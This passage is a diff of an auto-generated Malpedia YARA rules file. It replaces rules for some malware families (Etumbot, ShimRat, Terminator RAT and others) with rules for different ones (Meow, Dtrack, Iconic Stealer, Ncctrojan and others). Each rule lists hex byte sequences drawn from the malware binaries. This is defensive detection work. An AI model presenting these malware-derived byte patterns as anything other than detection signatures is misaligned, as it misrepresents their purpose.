 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.etumbot_auto.yar#L1-L332"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meow_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "564ae417565d87b67b974a9ba2ad8948ae9936f9dac5ee557fc27d8a92da27f9"
+		logic_hash = "0e149c089578c6685626f307f9368d702f8c85f1bb4a2cbda9a3a1cb6a651295"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -169776,59 +176954,32 @@ rule MALPEDIA_Win_Etumbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8811 8a00 02c2 0fb6c0 8a8405fcfeffff 320437 8806 }
-		$sequence_1 = { 8bec 53 56 57 8b3d???????? ffd7 }
-		$sequence_2 = { 7407 8bf9 c1ef18 33c7 f7d1 23c1 }
-		$sequence_3 = { c745ac5c5c4d69 c745b063726f73 c745b46f66745c c745b85c57696e }
-		$sequence_4 = { c1e004 03c1 8bc8 81e1000000f0 7407 8bf9 }
-		$sequence_5 = { 8d45f4 6820a10700 50 68???????? 68???????? }
-		$sequence_6 = { c745c05c5c4375 c745c47272656e c745c874566572 c745cc73696f6e c745d05c5c496e }
-		$sequence_7 = { 42 4e 75df 5f }
-		$sequence_8 = { ffd7 8b7508 8bd8 69f660ea0000 }
-		$sequence_9 = { c745b46f66745c c745b85c57696e c745bc646f7773 c745c05c5c4375 }
-		$sequence_10 = { 57 0fbe38 33f6 33db }
-		$sequence_11 = { c745d47465726e c745d865742053 c745dc65747469 c745e06e677300 }
-		$sequence_12 = { f7d1 23c1 42 4e }
-		$sequence_13 = { ffd7 2bc3 3bc6 72ed }
-		$sequence_14 = { c645bf69 c645c062 c645c16c c645c265 }
-		$sequence_15 = { 80e10f c0e102 c0eb06 02cb }
-		$sequence_16 = { c645c16c c645c265 c645c33b c645c420 }
-		$sequence_17 = { 56 8bf1 8b08 83f903 }
-		$sequence_18 = { c645c54d c645c653 c645c749 c645c845 c645c920 }
-		$sequence_19 = { 84c9 74b6 5f 5e 8bc2 }
-		$sequence_20 = { 33c0 56 89442418 57 89442420 }
-		$sequence_21 = { 0345f0 8b4d08 034dec 8a11 8810 8b45f0 83c001 }
-		$sequence_22 = { 750d 83c01c 8bce 50 e8???????? }
-		$sequence_23 = { 8d4a01 83c404 8bd1 c1e902 f3ab 8bca 83e103 }
-		$sequence_24 = { 83c204 3b5514 7608 83c8ff }
-		$sequence_25 = { 83c104 3b4d14 7608 83c8ff }
-		$sequence_26 = { 53 57 e8???????? 8d86b0000000 50 }
-		$sequence_27 = { 034df0 8b5508 0355ec 8a02 }
-		$sequence_28 = { 52 e8???????? 83c404 e9???????? 6a05 }
-		$sequence_29 = { c645d057 c645d169 c645d26e c645d364 }
-		$sequence_30 = { 6a00 68???????? 6a00 6a00 6a00 51 68???????? }
-		$sequence_31 = { 83fa01 7538 8b4514 8b19 0fb60438 c1e802 }
-		$sequence_32 = { 46 eb0f 0fb6d2 f68201ce400004 7403 40 ff01 }
-		$sequence_33 = { 8b4d08 83c101 894d08 8b550c 83ea03 }
-		$sequence_34 = { 50 57 8bce e8???????? 8d45f0 8d7e70 }
-		$sequence_35 = { c68543fffffff7 c68544ffffff52 c68545ffffff91 c68546ffffff1c c68547fffffff7 c68548ffffff64 c68549ffffffa3 }
-		$sequence_36 = { c685ddfdffffa4 c685defdffffb3 c685dffdffff02 c685e0fdffff30 c685e1fdffffd6 c685e2fdfffffb }
+		$sequence_0 = { c685cefaffff53 c685cffaffff63 c685d0faffff53 c685d1faffff53 c685d2faffff53 8a85c9faffff e8???????? }
+		$sequence_1 = { 72dc ff75ec 8d4599 50 e8???????? 8b33 ba0f000000 }
+		$sequence_2 = { 0f8441070000 c745f4bb195c00 be03000000 8b45f4 99 f7fe 85d2 }
+		$sequence_3 = { 99 f7f9 8b45f4 85d2 7403 48 eb01 }
+		$sequence_4 = { 743b 8b45f0 83c117 83c00b 99 f7f9 8945f0 }
+		$sequence_5 = { c685dbfdffff5f c685dcfdffff7d c685ddfdffff7d c685defdffff7d 8a85d5fdffff e8???????? 898564f5ffff }
+		$sequence_6 = { 7907 48 83c8fc 83c001 7463 8b4c2410 8d4303 }
+		$sequence_7 = { 8a01 8d4901 0fb6c0 83e871 6bc037 99 f7fb }
+		$sequence_8 = { c6854dfeffff4c c6854efeffff3b c6854ffeffff6b c68550feffff3b c68551feffff26 c68552feffff3b c68553feffff18 }
+		$sequence_9 = { 99 f7f9 85d2 7445 8b442410 8d4f17 83c00b }
 
 	condition:
-		7 of them and filesize <450560
+		7 of them and filesize <492544
 }
-rule MALPEDIA_Win_Shimrat_Auto : FILE
+rule MALPEDIA_Win_Dtrack_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9f2cf600-46fb-5fe2-9403-91a4ffe5dc91"
+		id = "a233c383-e1c0-5a80-b962-04f71174b55f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shimrat_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dtrack_auto.yar#L1-L160"
 		license_url = "N/A"
-		logic_hash = "4e378ef30b6703953f18ff74f4c2d2ea366c27ea22af1636e2d889f102c09783"
+		logic_hash = "da8244413760aff3fc60e26778e79f2591abffda2d0aa55a6f2fe1a5cc4b0aa3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169842,32 +176993,37 @@ rule MALPEDIA_Win_Shimrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 59 59 6a01 8d452c }
-		$sequence_1 = { eb1a 83f802 7513 83ec0c 8d4660 8bcc 50 }
-		$sequence_2 = { ff7508 8d85fcfeffff 50 e8???????? 59 59 85c0 }
-		$sequence_3 = { ff15???????? 8d4df4 e8???????? 8d4d08 e8???????? 5e }
-		$sequence_4 = { e8???????? 59 59 895e1c ff15???????? 8bce 899ec0000000 }
-		$sequence_5 = { ff15???????? 8bce 899ec0000000 e8???????? 85c0 750e }
-		$sequence_6 = { 837d0800 7424 837d0c00 741e ff7510 ff750c }
-		$sequence_7 = { 50 8bce e8???????? 85c0 74d9 ff75e8 8d4df0 }
-		$sequence_8 = { 6a00 68???????? 53 ffd7 ff7570 ff15???????? e9???????? }
-		$sequence_9 = { 83c414 50 8d4f6c e8???????? }
+		$sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
+		$sequence_1 = { ff15???????? 8d85dcfdffff 50 6a01 }
+		$sequence_2 = { 8955f0 8b45f0 0fb68899010000 51 8b55f0 }
+		$sequence_3 = { 8d85ecfeffff 50 8d8dc8fdffff 51 8d95ccfdffff }
+		$sequence_4 = { 0345f4 8810 ebac e9???????? 8be5 }
+		$sequence_5 = { 52 8d8590f5ffff 50 ff15???????? c685a0f8ffff00 6803010000 6a00 }
+		$sequence_6 = { c685b8fbffff00 6803010000 6a00 8d8db9fbffff 51 e8???????? }
+		$sequence_7 = { 51 e8???????? 83c410 8b558c 52 }
+		$sequence_8 = { 8b8520f5ffff 8a4801 888d1ff5ffff 838520f5ffff01 }
+		$sequence_9 = { d1e9 894df8 8b5518 8955fc c745f000000000 eb09 }
+		$sequence_10 = { 8b45fc c1e808 8b4dfc c1e910 }
+		$sequence_11 = { c1e810 23c8 33d1 8855f7 8b4df8 c1e908 8b55fc }
+		$sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc }
+		$sequence_13 = { 6867452301 8b4d10 51 8b55f4 52 }
+		$sequence_14 = { eb64 8b4d10 51 6a00 8b55f4 52 e8???????? }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <1736704
 }
-rule MALPEDIA_Win_Terminator_Rat_Auto : FILE
+rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9d4805e3-697a-5809-9888-0af99434fee9"
+		id = "152db8f5-915a-5ca5-a7d4-f3818a40ffaf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.terminator_rat_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iconic_stealer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "460088279758b4b56f7253332ea9c90ec016fa5d0376dce042f468a189f77f7d"
+		logic_hash = "dec19b483e0961df8b3ae7026df8b4a85577bd9230fffbf8dd9f39001dd5f48b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169881,32 +177037,32 @@ rule MALPEDIA_Win_Terminator_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffb519010000 8947fc 8b47f4 8b4008 894708 e8???????? 8b47fc }
-		$sequence_1 = { c70020000000 8b852d010000 2b08 894804 }
-		$sequence_2 = { 33db 395e0c 752f 6a40 6800100000 6800180000 }
-		$sequence_3 = { 26a130000000 07 8b400c 8b701c }
-		$sequence_4 = { 50 ffb525010000 ff95e1000000 85c0 }
-		$sequence_5 = { eb31 ff9509010000 3d4c270000 750e }
-		$sequence_6 = { 57 8bfc 81ec04040000 53 56 33db }
-		$sequence_7 = { 8b4b0c ac 3459 c0c803 3448 c0c803 }
-		$sequence_8 = { ffb519010000 8947fc 8b47f4 8b4008 }
-		$sequence_9 = { 60 33c0 8b4f0c 8b7f08 }
+		$sequence_0 = { e9???????? 4c8b13 4c8d05e6c60300 488bc6 488bce 83e03f 48c1f906 }
+		$sequence_1 = { eb29 488d0c76 8d4601 898790000000 488b8788000000 c704c876000000 8954c804 }
+		$sequence_2 = { 894338 66897318 66894b3e 6644896316 6644894b3c 663bf1 0f85dc000000 }
+		$sequence_3 = { e8???????? 4881c430020000 415f 415d 415c 5f 5e }
+		$sequence_4 = { 5f 5e 5d c3 40f6c504 7419 4c8bc7 }
+		$sequence_5 = { eb05 b901000000 894f28 4885db 741f 8b4f28 48895f10 }
+		$sequence_6 = { f2490f2ad5 488d4dc7 f20f5e15???????? 66490f7ed0 e8???????? e9???????? 448b44242c }
+		$sequence_7 = { ffc7 4883c108 3bfa 7cf1 e9???????? 488b4b20 4885c9 }
+		$sequence_8 = { e9???????? 488b75a8 4c8b442470 8b06 83c003 413b00 7e1f }
+		$sequence_9 = { c7430400000000 41ba1f000000 49bb1142082184104208 418b49f8 85c9 745b 8d4701 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <2401280
 }
-rule MALPEDIA_Win_Amtsol_Auto : FILE
+rule MALPEDIA_Win_Winordll64_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c4e6651d-976c-58ca-adc5-c02364c8423a"
+		id = "32ecf8d5-2cad-5cae-b550-c4e57fba7837"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.amtsol_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winordll64_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "27d50e01d30776676c026a6886e9d6b54d3f1024ee993525160ca52cbcf77c05"
+		logic_hash = "633c933d5010a60000a71f7674b6b6d81d1af8a3edb249e8b101bbf4eb8e443f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169920,32 +177076,32 @@ rule MALPEDIA_Win_Amtsol_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c8 234df0 8945fc 8b45f8 33cb 034e34 6a05 }
-		$sequence_1 = { 53 ff7580 ff7594 ff36 }
-		$sequence_2 = { 885d6f ff75d4 8d4510 50 8d4568 50 }
-		$sequence_3 = { 53 8b5d0c 8bce 2bde 3b7d10 7d23 }
-		$sequence_4 = { c645d543 c645d668 c645d765 c645d863 c645d96b c645da3a 885ddb }
-		$sequence_5 = { 8bec 8b4508 33c9 3bc1 7504 33c0 5d }
-		$sequence_6 = { ff15???????? 83f8ff 752b 8d45e8 50 c645e823 c645e92d }
-		$sequence_7 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????b2194100 8935???????? }
-		$sequence_8 = { 0f84bf000000 56 53 50 e8???????? 56 }
-		$sequence_9 = { e8???????? 8d443001 59 895df4 3818 0f8430010000 50 }
+		$sequence_0 = { e8???????? 488d4dbc ff15???????? 488d15ae1c0100 488bc8 e8???????? 85c0 }
+		$sequence_1 = { 4833c4 488985581d0000 488bd9 b838070000 48ffc8 c6040100 75f7 }
+		$sequence_2 = { 48897c2420 ff15???????? 85c0 7426 448b842490000000 4c8d4c2430 }
+		$sequence_3 = { e9???????? ba12000000 ebf0 48897c2440 897c2448 488d442448 4889442420 }
+		$sequence_4 = { e8???????? 4c8d0513c50000 41b903000000 488d4c45bc 488bc1 492bc5 }
+		$sequence_5 = { 488bcf c744243001000000 448be8 ff15???????? }
+		$sequence_6 = { 663918 75f5 4c8d4da0 48837db808 4c0f434da0 486307 }
+		$sequence_7 = { 7423 83fefe 741e 488bce 488bc6 488d1554370100 83e11f }
+		$sequence_8 = { 7767 488d4d98 482bcb 48b8abaaaaaaaaaaaa2a 48f7e9 488bf2 }
+		$sequence_9 = { 0f84bd010000 488b4c2450 4533c0 418bd5 ff15???????? 85c0 0f847b010000 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Dubrute_Auto : FILE
+rule MALPEDIA_Win_Snifula_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "91c95b88-1aba-547d-a2e7-1c5fddf4a9b5"
+		id = "3dffa8bc-fef5-5d9b-860e-b2ad6113d3e0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dubrute_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snifula_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "96123f7850603b9e3ec4473b7e8755ea7a00903c8750eba6148228fb5b3de4ca"
+		logic_hash = "5394c0842b5f05f382e3a7b0318fd2397f5c79fe7938989019ff20c4e8348941"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169959,32 +177115,32 @@ rule MALPEDIA_Win_Dubrute_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d45dc dd5de4 50 c645fc0d ff15???????? 8d4df0 c645fc08 }
-		$sequence_1 = { 83c410 83f8ff 743b 85c0 741c 03f0 56 }
-		$sequence_2 = { 83e906 7426 49 741a 49 740e 49 }
-		$sequence_3 = { 7427 48 7413 48 48 7551 57 }
-		$sequence_4 = { 5e 5d c3 8b4c2408 81f9ff000000 7e1b 8b442404 }
-		$sequence_5 = { e8???????? 83c410 ff866c090000 5e c3 55 8bec }
-		$sequence_6 = { 7520 8b06 8b4018 8b00 ff30 e8???????? 6a06 }
-		$sequence_7 = { 57 53 ff15???????? 8b3d???????? 8325????????00 8b37 3bf7 }
-		$sequence_8 = { 56 53 68???????? e8???????? 83c40c 837d1400 }
-		$sequence_9 = { 8a48ff 884e01 83c603 837df000 7fd4 e9???????? f745f0f8ffffff }
+		$sequence_0 = { 53 ff35???????? ffd7 6800040000 53 ff35???????? }
+		$sequence_1 = { 53 6a00 ff35???????? ff15???????? b8???????? 83c9ff }
+		$sequence_2 = { 6a00 ff35???????? 8945fc ff15???????? 8bf8 85ff }
+		$sequence_3 = { a1???????? 85c0 75ef 53 57 bb???????? }
+		$sequence_4 = { ff15???????? 8bf8 83ffff 747f 53 8d450c 50 }
+		$sequence_5 = { e8???????? 85c0 740c 81386368756e 7504 834e1002 8bc6 }
+		$sequence_6 = { c1e802 25ff000000 8d44c72c 8b18 3bd8 7432 }
+		$sequence_7 = { 83f803 7533 ff7304 8bc7 ff750c e8???????? 8b4724 }
+		$sequence_8 = { 68???????? 56 ff15???????? 83c414 68???????? 56 }
+		$sequence_9 = { 53 50 889c243c010000 e8???????? a1???????? 83c43c 895c2430 }
 
 	condition:
-		7 of them and filesize <598016
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Snojan_Auto : FILE
+rule MALPEDIA_Win_Urausy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "96ddba9d-1a09-5178-a027-761c3b0ea160"
+		id = "42f215cc-3fcb-5d25-8a29-1c5fcfaf0e92"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snojan_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.urausy_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "a7da77f2b75075e9b17ce3132c822da8d2432067b99e241b1e6927c5f09a8d94"
+		logic_hash = "4f1d0bce8598e73699b4a743f6a21ef45b27ed44d43ef0837b1c95c90d3c9c6b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169998,32 +177154,32 @@ rule MALPEDIA_Win_Snojan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 83ec0c 83f8ff 0f8487010000 89c7 b802000000 c70424???????? }
-		$sequence_1 = { b802000000 c70424???????? 6689442420 ff15???????? 83ec04 c70424???????? 89442424 }
-		$sequence_2 = { 8d5c2430 c644241f00 c744240c00000000 c744240800900100 895c2404 893c24 ff15???????? }
-		$sequence_3 = { a1???????? 8b988000986d 85db 74da }
-		$sequence_4 = { 8d860000986d 8955cc e8???????? 8b45cc }
-		$sequence_5 = { 893c24 ff15???????? 83ec10 83f800 }
-		$sequence_6 = { e9???????? 0fb7810000986d 894dc0 89c7 81cf0000ffff 6683b90000986d00 0f48c7 }
-		$sequence_7 = { 85c0 74e9 a1???????? 8b988000986d 85db 74da 895c2404 }
-		$sequence_8 = { 837c243401 753d c744241400000000 c744241000000000 }
-		$sequence_9 = { 85c0 b801000000 0f44d0 8854241f 8974240c 896c2408 }
+		$sequence_0 = { 6a00 68???????? 68???????? ff7508 e8???????? 6a00 ff35???????? }
+		$sequence_1 = { 8bd3 81c2a5000000 50 53 52 51 }
+		$sequence_2 = { ff75e4 e8???????? 8945e8 ff35???????? }
+		$sequence_3 = { 6a01 ff35???????? e8???????? 6a00 68???????? 68???????? }
+		$sequence_4 = { c21000 55 8bec 81c4ecefffff }
+		$sequence_5 = { 0f8585000000 6814000000 68???????? 6a04 8d8500fcffff 50 e8???????? }
+		$sequence_6 = { 8d85dcf7ffff 50 57 56 }
+		$sequence_7 = { 833d????????00 0f8fae050000 c705????????01000000 ff35???????? 8f45f0 ff35???????? 8f45f4 }
+		$sequence_8 = { e8???????? ff75fc e8???????? 8b45f8 c9 c20400 ff25???????? }
+		$sequence_9 = { e8???????? b800000000 c9 c21400 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Ismdoor_Auto : FILE
+rule MALPEDIA_Win_Rtpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e9177277-98bb-546b-913b-803dfeefda39"
+		id = "77dcd653-95cb-55c4-91a1-f9b9e9596fd3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ismdoor_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rtpos_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "489ff4b41f2f5bc83c56e62265d852f18476e83488ad914ef361d6d410139690"
+		logic_hash = "4ad89a49b88ba1ea262b015470065dd4f3f20d950975a1f27ea85a4b99624bd0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170037,37 +177193,32 @@ rule MALPEDIA_Win_Ismdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83f8ff 7504 32c0 eb05 c0e804 2401 84c0 }
-		$sequence_1 = { 90 48897c2428 488d4da0 48894c2420 4c8d4d80 4c8bc3 }
-		$sequence_2 = { 7405 488b00 ebdd 48894500 }
-		$sequence_3 = { 89442420 48c7411807000000 48894110 668901 c744242001000000 }
-		$sequence_4 = { 7613 498d4970 418bc2 41ffc2 }
-		$sequence_5 = { 41ffc7 0f1f4000 418b16 488d4d38 e8???????? }
-		$sequence_6 = { 8bd8 33c9 ff15???????? 488bc8 }
-		$sequence_7 = { 488bd6 488bcf ff5030 488bc8 }
-		$sequence_8 = { 884c0dd8 41 83f910 7cf6 }
-		$sequence_9 = { 83f802 7506 c6473c00 eb04 40 }
-		$sequence_10 = { 8b4804 83b9ec97480000 0f94c0 8845e4 c745fc01000000 }
-		$sequence_11 = { c745f804000000 57 8a68fe 8d4004 8a48fb 8a78fc }
-		$sequence_12 = { 886dff 81e61f000080 7905 4e 83cee0 46 }
-		$sequence_13 = { e8???????? 83c404 c744246c0f000000 c744246800000000 c644245800 837c243c08 }
-		$sequence_14 = { 75f2 8b7d10 8b07 3bf0 7421 8b4f04 }
+		$sequence_0 = { 68a8040000 8b45ec 50 e8???????? 83c408 c3 8b542408 }
+		$sequence_1 = { 83e908 8d7608 660fd60f 8d7f08 8b048d74b44000 }
+		$sequence_2 = { 8b0cc5c4ae4200 894de4 85c9 7455 }
+		$sequence_3 = { 7619 8b4dd4 51 ff15???????? }
+		$sequence_4 = { 8d45d8 50 6a00 8b4dd4 51 }
+		$sequence_5 = { 85c0 752c 6a00 68???????? 68???????? 6a02 68???????? }
+		$sequence_6 = { 8bec 53 8b5d08 33c9 57 33c0 8d3c9d5c654300 }
+		$sequence_7 = { 33c5 8945fc c745d800000000 c745dc00000000 33c0 }
+		$sequence_8 = { 2b45c4 3b45f0 7619 8b4dd4 51 ff15???????? }
+		$sequence_9 = { 6bc030 03048db86a4300 50 ff15???????? 5d c3 }
 
 	condition:
-		7 of them and filesize <1933312
+		7 of them and filesize <507904
 }
-rule MALPEDIA_Win_Upas_Auto : FILE
+rule MALPEDIA_Win_Unidentified_098_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4474338e-2402-5a41-aa33-f4db4dabe7ff"
+		id = "8f47cad5-b04b-526a-bf75-a80f46978296"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.upas_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_098_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "13e71741a108b9f3493f31fa88f76272d0cb37e67292b4fc5655cf9c429831b0"
+		logic_hash = "5873ddf57107eab8629c385b87e703377b84a728d15aa8f227623b130059db6e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170081,32 +177232,32 @@ rule MALPEDIA_Win_Upas_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 8d45f8 50 8d45f0 50 ff15???????? }
-		$sequence_1 = { ffd6 33c0 eb18 6a00 57 }
-		$sequence_2 = { ff751c e8???????? ff7620 ff763c e8???????? 8b4d10 8bd8 }
-		$sequence_3 = { ff15???????? 8945fc 3bc7 7504 33c0 eb64 56 }
-		$sequence_4 = { 50 53 ff15???????? 8945f4 3bc3 7504 }
-		$sequence_5 = { 83c420 53 6880000000 6a02 53 53 68000000c0 }
-		$sequence_6 = { 8944b5dc 837cb5dc00 59 59 7406 46 83fe07 }
-		$sequence_7 = { ff15???????? ff75e8 8d4598 6a22 50 e8???????? }
-		$sequence_8 = { 72d1 5e c3 8b442410 8b08 3b0d???????? }
-		$sequence_9 = { ff15???????? 85c0 742d 8d8500fdffff 50 }
+		$sequence_0 = { c644247f00 e9???????? 41bdffffffff 4885db 7412 488b4310 483b4318 }
+		$sequence_1 = { e9???????? 8d48bf 83f905 0f8716ffffff 83e837 c1e00c 89c6 }
+		$sequence_2 = { 7eac 85c0 78a8 488b4318 31d2 4885c0 75ab }
+		$sequence_3 = { f6c202 410f45c0 4883c102 01d2 668941fe 4939c9 75ce }
+		$sequence_4 = { b801000000 4d85c0 7486 488b542450 4c89e1 e8???????? 85c0 }
+		$sequence_5 = { ff15???????? 410fb61424 e9???????? 4c89f8 4829d8 4801c7 4d85ed }
+		$sequence_6 = { 85d2 0f88d5000000 4c8d5904 4189d2 4c8d4910 83fa0f 7e33 }
+		$sequence_7 = { 488d542440 4939d4 7411 4c89e1 8844242f e8???????? 0fb644242f }
+		$sequence_8 = { 897c2450 41bd01000000 44894c2434 4889442458 e9???????? 488b03 4489442434 }
+		$sequence_9 = { e9???????? 498b4610 493b4618 0f838d010000 0fb700 6683f8ff b900000000 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <3345408
 }
-rule MALPEDIA_Win_Suncrypt_Auto : FILE
+rule MALPEDIA_Win_Ncctrojan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "93d1d1b0-e368-5e85-941c-a502b4af6a15"
+		id = "964a63a1-2a33-5eff-ac10-defb358349c1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.suncrypt_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ncctrojan_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "3fd8ca759efc6a63a6777db0d881129a01860e6b4243db4bd8968c844a421043"
+		logic_hash = "ca1178d41ac898e0a6dcd72371fc848e91a6cf3f5857a4b6b78db9de7f47f454"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170120,32 +177271,38 @@ rule MALPEDIA_Win_Suncrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 6a00 6a00 6a03 6a00 6a00 ff75b8 }
-		$sequence_1 = { 8b8d60ffffff 8945c8 8b856cffffff 8945ac 8b8564ffffff 8945cc 8b855cffffff }
-		$sequence_2 = { c645f84c c645f90e c645fa44 c645fb4c c645fc4c 8a45f4 c645fd00 }
-		$sequence_3 = { 02ca 0fbec0 33c8 884c15ec 42 83fa11 72e8 }
-		$sequence_4 = { 894dd0 034d98 8bf9 337dcc c1c70c 03c7 898534ffffff }
-		$sequence_5 = { c3 8b07 0fb74f0e 8b4004 8b0488 894724 }
-		$sequence_6 = { 8b7308 83c140 8b7da0 894df4 8b4df0 eb7e }
-		$sequence_7 = { 8b45a8 0411 c645be00 83f00a 33d2 8845bd 8a45ac }
-		$sequence_8 = { 660f6dec 660fefd8 660f6ccc 0f28a500feffff 0f1118 83c010 0f1007 }
